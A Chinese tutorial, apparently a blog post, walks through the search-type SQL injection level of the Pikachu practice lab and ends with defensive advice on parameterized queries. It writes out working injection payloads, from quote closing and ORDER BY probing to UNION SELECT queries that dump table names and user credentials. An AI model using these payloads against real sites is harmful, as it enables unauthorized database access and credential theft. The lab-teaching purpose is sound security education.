Pikachu靶场实战:搜索型SQL注入闭合与联合查询详解
2026/8/21 21:59:22 网站建设 项目流程

很多刚入门Web安全的朋友,在靶场练习SQL注入时,常常会遇到一个困惑:明明跟着教程输入了' or 1=1 --,为什么有时能成功,有时却毫无反应,甚至直接报错?问题往往出在“闭合”上。你以为你在拼接字符串,实际上,你连SQL语句的“门”都没敲对。

今天,我们就以Pikachu靶场中极具代表性的“搜索型注入”为例,彻底拆解“字符型闭合”与“联合注入(Union Inject)”的结合运用。这不仅是Pikachu通关的必经之路,更是理解真实世界中SQL注入漏洞形态的关键一步。很多人止步于此,不是因为技术多难,而是没搞懂后台代码究竟是如何拼接你的输入,以及你该如何“礼貌”地嵌入自己的恶意代码。

本文将带你从零开始,完成一次完整的攻击链分析:从判断注入类型、测试闭合方式,到利用联合查询获取数据库信息。你会发现,真正的渗透测试,思维过程远比执行那几个固定Payload重要得多。

1. 这篇文章真正要解决的问题:为什么“搜索型注入”更难闭合?

在SQL注入中,根据用户输入被拼接进SQL语句的方式,主要分为数字型和字符型。数字型简单直接,如id=$id,而字符型则复杂一些,如name='$name',你的输入会被单引号包裹。

但“搜索型注入”是一种更特殊的字符型注入。它通常用于实现搜索功能,后台SQL语句可能长这样:

SELECT * FROM articles WHERE title LIKE '%用户输入%'

或者,为了更精确的模糊匹配,开发者可能会写成:

SELECT * FROM articles WHERE title LIKE '%用户输入%' AND status=1

看到问题了吗?你的输入$keyword被包裹在LIKE '%...%'这个结构中。这意味着,如果你想注入,你不仅要闭合包裹你输入的那个单引号,还要处理掉SQL语句中原本就存在的那个前百分号%后百分号%以及可能存在的后续查询条件(如AND status=1)。

这就是搜索型注入的核心难点:你需要构造的Payload,必须能同时“消化”掉SQL语句中预置的百分号通配符和后续语句,让整个语句语法正确且执行你的恶意查询。很多新手在这里折戟,就是因为只考虑了闭合引号,没考虑通配符和后续语句的“占位”。

Pikachu靶场的“搜索型注入”关卡,完美复现了这种场景。我们将通过它,学习如何系统性地解决这个问题。

2. 环境准备与靶场搭建

在开始实战之前,你需要一个可用的Pikachu靶场环境。

方案一:使用Docker(推荐,最快捷)如果你已经安装了Docker和Docker Compose,这是最干净、隔离性最好的方式。

  1. 搜索或准备一个Pikachu的Docker镜像,例如area39/pikachu
  2. 运行容器:
    docker run -d -p 8080:80 area39/pikachu
  3. 访问http://localhost:8080即可看到Pikachu首页。

方案二:本地集成环境(如PHPStudy、XAMPP)

  1. 从Pikachu的GitHub仓库(https://github.com/zhuifengshaonianhanlu/pikachu)下载源码。
  2. 将源码文件夹(例如命名为pikachu)放置到你的Web服务器根目录下(如PHPStudy的WWW目录,XAMPP的htdocs目录)。
  3. 访问http://localhost/pikachu进行安装。根据提示初始化数据库(通常需要你手动创建一个数据库,然后执行安装脚本)。
  4. 安装成功后,即可访问首页。

确保环境就绪:访问靶场,在左侧导航栏找到“SQL-Inject”->“搜索型注入”。你应该能看到一个简单的搜索框,提示你“试试在搜索框里面输入一些正常的内容,例如‘kobe’”。这个页面就是我们今天的“战场”。

3. 核心概念:联合注入(Union Inject)与闭合(Closure)

在深入实战前,我们必须厘清两个核心概念,这决定了你Payload构造的成败。

3.1 联合注入(Union Inject)的本质UNION是SQL语句中的一个操作符,用于合并两个或多个SELECT语句的结果集。关键前提是:每个SELECT语句必须拥有相同数量的列,且列的数据类型也必须相似。

在注入中,我们利用UNION将我们精心构造的、用于窃取数据的SELECT语句,“粘”到原始查询后面一起执行。例如: 原始查询:SELECT title, content FROM news WHERE id=1注入后:SELECT title, content FROM news WHERE id=1 UNION SELECT username, password FROM users --

这样,数据库返回的结果集就同时包含了新闻内容和用户表的数据。联合注入是回显型注入中最强大、最直接的信息获取手段。

3.2 闭合(Closure):为你的Payload铺平道路“闭合”是注入成功的前提。它的目标是:让你输入的Payload,能够“无缝嵌入”到原始的SQL语句中,形成一个语法完全正确的新语句。

以字符型注入为例: 原始语句:SELECT * FROM users WHERE name='$input'如果你直接输入admin,语句是SELECT * FROM users WHERE name='admin',语法正确。 但如果你想注入,输入' or '1'='1,语句变成了SELECT * FROM users WHERE name='' or '1'='1'。注意看:

  • 第一个单引号'闭合了name='中的引号。
  • 然后我们输入了or '1'='1
  • 最后,SQL语句末尾那个原本用于闭合的单引号,现在闭合了我们字符串'1中的引号。

整个过程,我们“消化”掉了SQL语句中用于包裹用户输入的那个引号,并确保了整个语句的引号配对正确。这就是“闭合”。

对于搜索型注入,闭合的挑战更大,因为我们要处理的是LIKE '%$input%'这个结构。

4. 实战第一步:探测与确认注入点

渗透测试的第一步永远是信息收集与探测,盲目攻击是大忌。

4.1 正常功能测试在搜索框输入kobe并提交。页面正常返回了包含“kobe”关键词的结果。这说明搜索功能是正常工作的。

4.2 初步异常探测尝试输入一个单引号'并提交。

  • 观察结果:页面很可能报错,或者返回了与输入kobe时完全不同的结果(例如无结果、错误提示)。这是一个强烈的信号,表明我们的输入被直接拼接进了SQL语句,并且破坏了其语法结构(因为多了一个单引号)。
  • 后台猜测:此时的SQL语句可能变成了SELECT ... WHERE title LIKE '%'%',由于引号不匹配而报错。

4.3 尝试基础闭合我们的目标是构造一个永真条件,让查询返回所有结果。尝试输入' or 1=1 #

  • ':用于闭合LIKE '%中,在%后面的那个引号。注意,是闭合'%这个组合中的引号,让%成为我们输入字符串的一部分。
  • or 1=1:构造一个永远为真的条件。
  • #:在MySQL中,#是行注释符,用于注释掉SQL语句中后续的所有内容,包括那个可能存在的后百分号%'以及AND status=1之类的条件。

提交后,如果页面返回了所有数据(而不是只包含某个关键词的数据),那么恭喜你,注入点存在且基础闭合成功!这证明后端查询大概是LIKE '%$input%'的形式,且#成功注释了后续语句。

如果#不行(可能因为编码或过滤),可以尝试--(注意,--后面有一个空格)。在MySQL中,--也是行注释。

重要思考:为什么是' or 1=1 #而不是' or 1=1 --?这取决于原始SQL的写法。如果原始语句是LIKE '%$input%',我们用'闭合前引号后,输入的内容就和%拼接在了一起。#注释掉的是%'及之后的部分。这是一个需要根据实际情况调整和测试的过程。

5. 实战第二步:确定字段数(Order By)

联合注入的前提是知道前面SELECT语句查询的列数。我们使用ORDER BY子句来探测。

ORDER BY n表示根据第n列进行排序。如果n超过了实际列数,数据库就会报错。

  1. 在搜索框输入:kobe' order by 1 #。提交后,页面正常显示。
  2. 递增数字测试:kobe' order by 2 #kobe' order by 3 #kobe' order by 4 #...
  3. 关键观察点:当输入kobe' order by X #时页面正常,而输入kobe' order by X+1 #时页面报错或返回异常(如空白、错误提示),那么字段数就是X

假设我们测试到order by 3正常,order by 4报错,那么原始查询的字段数就是3Payload构造解析kobe'完成了初步闭合,order by 3是我们的探测语句,#注释掉后续所有代码,保证语法正确。

6. 实战第三步:寻找回显点(Union Select)

知道字段数(假设为3)后,我们使用UNION SELECT来确认哪些字段的内容会显示在页面上。

  1. 构造Payload:kobe' union select 1,2,3 #
    • 这里1,2,3是我们填充的占位数据。如果联合查询成功,且页面有回显,那么这些数字123可能会出现在页面的某些位置(例如标题、内容区域),代替原本的数据。
  2. 提交Payload。
  3. 观察页面:仔细查看返回的页面源代码和显示内容。你可能会发现页面上的某个位置显示了数字“2”和“3”,而“1”可能没显示。这说明第2和第3个字段是回显点,即页面上显示的数据来源于原始查询的第2列和第3列。

为什么这么做?我们需要知道把我们的“窃取数据”的查询语句放在UNION SELECT的哪个位置,才能让结果在页面上显示出来。例如,如果只有第2列回显,那么我们应该把想获取的数据(如database())放在UNION SELECT的第二个位置。

7. 实战第四步:利用联合查询获取信息

现在,我们有了武器(联合注入)、知道了敌人阵型(字段数=3)、也找到了突破口(回显点2和3)。可以开始系统性地获取数据库信息了。这是一个标准的“数据库->表->列->数据”的流程。

我们将回显点23替换为我们需要查询的函数或语句。

7.1 获取当前数据库名Payload:kobe' union select 1, database(), 3 #

  • database()函数返回当前操作的数据名称。提交后,在页面对应回显点2的位置,你应该能看到数据库名(例如pikachu)。

7.2 获取数据库中的所有表名在MySQL中,表信息存储在information_schema.tables中。 Payload:kobe' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database() #

  • table_schema=database():限定只查询当前数据库的表。
  • group_concat(table_name):将所有的表名连接成一个字符串返回,避免因多行回显导致页面只显示第一行。提交后,你可能会看到类似httpinfo,member,message,users,xssblind...的结果。这里我们重点关注users表。

7.3 获取目标表(如users表)的所有列名表结构信息存储在information_schema.columns中。 Payload:kobe' union select 1, group_concat(column_name), 3 from information_schema.columns where table_schema=database() and table_name='users' #

  • table_name='users':指定查询users表。 提交后,你可能会看到类似id,username,password,level的结果。我们显然对usernamepassword字段最感兴趣。

7.4 最终一击:提取用户名和密码现在,我们可以直接从users表中查询数据了。 Payload:kobe' union select 1, username, password from users #或者,为了更清晰地查看,可以使用: Payload:kobe' union select 1, concat(username, ':', password), 3 from users #

  • concat()函数将用户名和密码用冒号连接起来。 提交后,在页面的回显位置,你应该就能看到梦寐以求的用户名和密码(可能是MD5哈希值)了。

8. 完整攻击链Payload回顾与解析

让我们把整个攻击链串联起来,理解每一步Payload是如何与后台SQL语句交互的。假设后台原始SQL为:

SELECT id, title, content FROM articles WHERE title LIKE '%$keyword%' AND status=1 ORDER BY id DESC
  1. 探测与闭合

    • 输入:' or 1=1 #
    • 拼接后SQL:
      SELECT id, title, content FROM articles WHERE title LIKE '%' or 1=1 #%' AND status=1 ORDER BY id DESC
    • 解析LIKE '%'这部分,%是通配符,'是引号。我们输入的'闭合了这个引号。LIKE '%'本身是一个模式,匹配任何以空字符串结尾的内容(即所有内容)。or 1=1使条件永真。#注释掉了后面所有的字符%' AND status=1 ORDER BY id DESC,消除了它们的影响。因此查询返回所有文章。
  2. 确定字段数

    • 输入:kobe' order by 3 #
    • 拼接后SQL:
      SELECT id, title, content FROM articles WHERE title LIKE '%kobe' order by 3 #%' AND status=1 ORDER BY id DESC
    • 解析LIKE '%kobe'匹配以“kobe”结尾的标题。order by 3按第三列(content)排序。因为原始查询就是3列,所以语法正确,执行成功。
  3. 联合查询获取信息

    • 输入:kobe' union select 1, database(), 3 #
    • 拼接后SQL:
      SELECT id, title, content FROM articles WHERE title LIKE '%kobe' union select 1, database(), 3 #%' AND status=1 ORDER BY id DESC
    • 解析:前半部分查询可能返回0条或若干条“kobe”相关结果。UNION连接的后半部分select 1, database(), 3固定返回一行数据:(1, 'pikachu', 3)。页面回显时,这行数据也会被显示出来,从而暴露出数据库名。

9. 常见问题与排查思路(Q&A)

在实战过程中,你可能会遇到以下问题:

问题现象可能原因排查方式解决方案
输入单引号后页面无变化或直接跳转/报500错误。1. 输入被前端或后端过滤/转义。
2. 靶场环境配置有误,错误处理方式不同。
1. 查看页面源代码,确认输入是否被原样提交。
2. 尝试其他特殊字符如"\进行测试。
3. 检查靶场数据库连接和PHP错误日志。
1. 尝试大小写、双写、编码绕过等技巧(在Pikachu基础关卡中通常不需要)。
2. 确保靶场环境(如Apache/MySQL)服务正常运行。
使用#注释无效,order by测试一直报错。1. 数据库不是MySQL(如SQLite)。
2.#在传输过程中被URL编码或处理。
3. 原始SQL语句结构并非LIKE ‘%$input%’,可能有其他闭合方式。
1. 尝试使用--(注意有空格)进行注释。
2. 尝试使用%23#的URL编码)提交。
3. 尝试更通用的闭合:‘ or ‘1’=’1‘ or ‘1’=’1,手动构造闭合。
1. Pikachu默认使用MySQL,优先尝试--+--
2.最有效的方法:系统性地测试闭合:尝试‘)“)‘))等组合,配合or 1=1观察页面是否返回所有数据。
union select 1,2,3执行成功,但页面上看不到数字回显。1. 回显点不在前端直接显示,可能在页面源码、HTTP响应头或其他位置。
2. 联合查询的前半部分有结果,页面只显示了第一条数据。
1. 右键查看网页源代码,搜索1,2,3
2. 使用Burp Suite等工具查看原始HTTP响应。
3. 尝试让前半部分查询无结果:例如输入一个不存在的值asdf‘ union select 1,2,3 #
让原始查询结果为空,是确保联合查询结果被显示的关键技巧。在搜索型注入中,可以输入一个肯定不存在的词,如不存在关键词‘ union select 1,2,3 #
使用group_concat查询表名时,返回结果不完整或被截断。group_concat函数有长度限制(默认1024字节)。1. 使用substringlimit分批次查询。
2. 查询group_concat_max_len变量并临时修改(在靶场中不推荐)。
使用分页查询:kobe‘ union select 1, table_name, 3 from information_schema.tables where table_schema=database() limit 0,1 #,然后修改limit 1,1limit 2,1依次查看。

10. 最佳实践与深入思考

通过Pikachu的搜索型注入关卡,我们完成了一次标准的手工注入流程。但真正的学习不止于此:

  1. 自动化工具只是辅助:Sqlmap等工具固然强大,但手工注入的过程是理解漏洞原理、锻炼调试思维和Payload构造能力的基石。在复杂场景(如过滤、编码、非常规闭合)下,手工能力往往能发现自动化工具无法识别的问题。
  2. 关注错误信息:开发环境(或配置不当的生产环境)的SQL错误回显是渗透测试的“金矿”。它不仅能确认注入点,有时还能直接暴露数据库结构、路径等敏感信息。在Pikachu中,你可以尝试打开PHP的display_errors设置,观察更详细的报错。
  3. 闭合方式的多样性:本文重点讲了LIKE ‘%$input%’的闭合。现实中还有数字型、LIKE ($input)IN (‘$input’)ORDER BY $input等多种情况,其闭合方式各不相同。核心思路永远是:推测后台SQL的拼接逻辑,然后构造Payload去“完成”它
  4. 防御视角:作为开发者,如何防止此类漏洞?最根本的方法是使用参数化查询(Prepared Statements)或ORM框架,从根本上杜绝用户输入被解释为SQL代码的可能。其次,对输入进行严格的过滤和转义,设置数据库最小权限原则,关闭错误回显,都是有效的防御措施。

搜索型注入的闭合,是SQL注入学习路上一个经典的思维训练。它要求你从黑盒测试中,逆向推断出后台代码的拼接逻辑。掌握它,你不仅能够通关Pikachu的这一关卡,更能举一反三,应对真实世界中更隐蔽、更复杂的注入场景。建议你将本文中的Payload逐一在靶场中测试,并尝试修改其中的细节,观察不同的返回结果,这比死记硬背Payload要有效得多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询